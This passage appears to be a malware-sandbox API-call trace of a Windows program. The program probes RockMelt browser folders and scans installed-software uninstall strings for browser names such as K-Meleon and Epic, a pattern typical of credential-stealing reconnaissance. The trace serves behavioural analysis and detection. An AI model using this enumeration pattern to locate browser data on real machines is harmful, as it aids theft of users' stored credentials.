returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt\\*.*" [0079.549] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.549] LocalFree (hMem=0x647ab8) returned 0x0 [0079.549] LocalFree (hMem=0x629248) returned 0x0 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.549] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.549] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.549] lstrlenA (lpString="\\RockMelt") returned 9 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.549] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.549] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\RockMelt" | out: lpString1="C:\\ProgramData\\RockMelt") returned="C:\\ProgramData\\RockMelt" [0079.550] LocalFree (hMem=0x66b940) returned 0x0 [0079.550] lstrlenA (lpString="C:\\ProgramData\\RockMelt") returned 23 [0079.550] lstrlenA (lpString="\\*.*") returned 4 [0079.550] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.550] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\RockMelt" | out: lpString1="C:\\ProgramData\\RockMelt") returned="C:\\ProgramData\\RockMelt" [0079.550] lstrcatA (in: lpString1="C:\\ProgramData\\RockMelt", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\RockMelt\\*.*") returned="C:\\ProgramData\\RockMelt\\*.*" [0079.550] FindFirstFileA (in: lpFileName="C:\\ProgramData\\RockMelt\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.550] LocalFree (hMem=0x652cb0) returned 0x0 [0079.550] LocalFree (hMem=0x670c38) returned 0x0 [0079.550] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.550] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.550] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.550] lstrlenA (lpString="\\RockMelt") returned 9 [0079.550] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.550] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.550] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\RockMelt" | out: lpString1="C:\\ProgramData\\RockMelt") returned="C:\\ProgramData\\RockMelt" [0079.550] LocalFree (hMem=0x66b940) returned 0x0 [0079.550] lstrlenA (lpString="C:\\ProgramData\\RockMelt") returned 23 [0079.550] lstrlenA (lpString="\\*.*") returned 4 [0079.550] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.550] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\RockMelt" | out: lpString1="C:\\ProgramData\\RockMelt") returned="C:\\ProgramData\\RockMelt" [0079.550] lstrcatA (in: lpString1="C:\\ProgramData\\RockMelt", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\RockMelt\\*.*") returned="C:\\ProgramData\\RockMelt\\*.*" [0079.550] FindFirstFileA (in: lpFileName="C:\\ProgramData\\RockMelt\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.550] LocalFree (hMem=0x652cb0) returned 0x0 [0079.550] LocalFree (hMem=0x670c38) returned 0x0 [0079.550] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.550] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.550] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.550] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.550] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.551] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.551] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.551] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.551] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.551] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.551] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x39, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.551] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.551] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="K-Meleon") returned 0x0 [0079.551] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.552] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="K-Meleon") returned 0x0 [0079.553] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="K-Meleon") returned 0x0 [0079.554] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="K-Meleon") returned 0x0 [0079.554] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="K-Meleon") returned 0x0 [0079.554] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="K-Meleon") returned 0x0 [0079.554] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="K-Meleon") returned 0x0 [0079.554] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="K-Meleon") returned 0x0 [0079.554] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="K-Meleon") returned 0x0 [0079.554] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.554] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.554] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.554] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.554] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.554] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.554] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.554] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.554] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.554] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.554] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x3a, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.554] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.554] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="Epic") returned 0x0 [0079.554] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="Epic") returned 0x0 [0079.554] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.555] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.556] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" 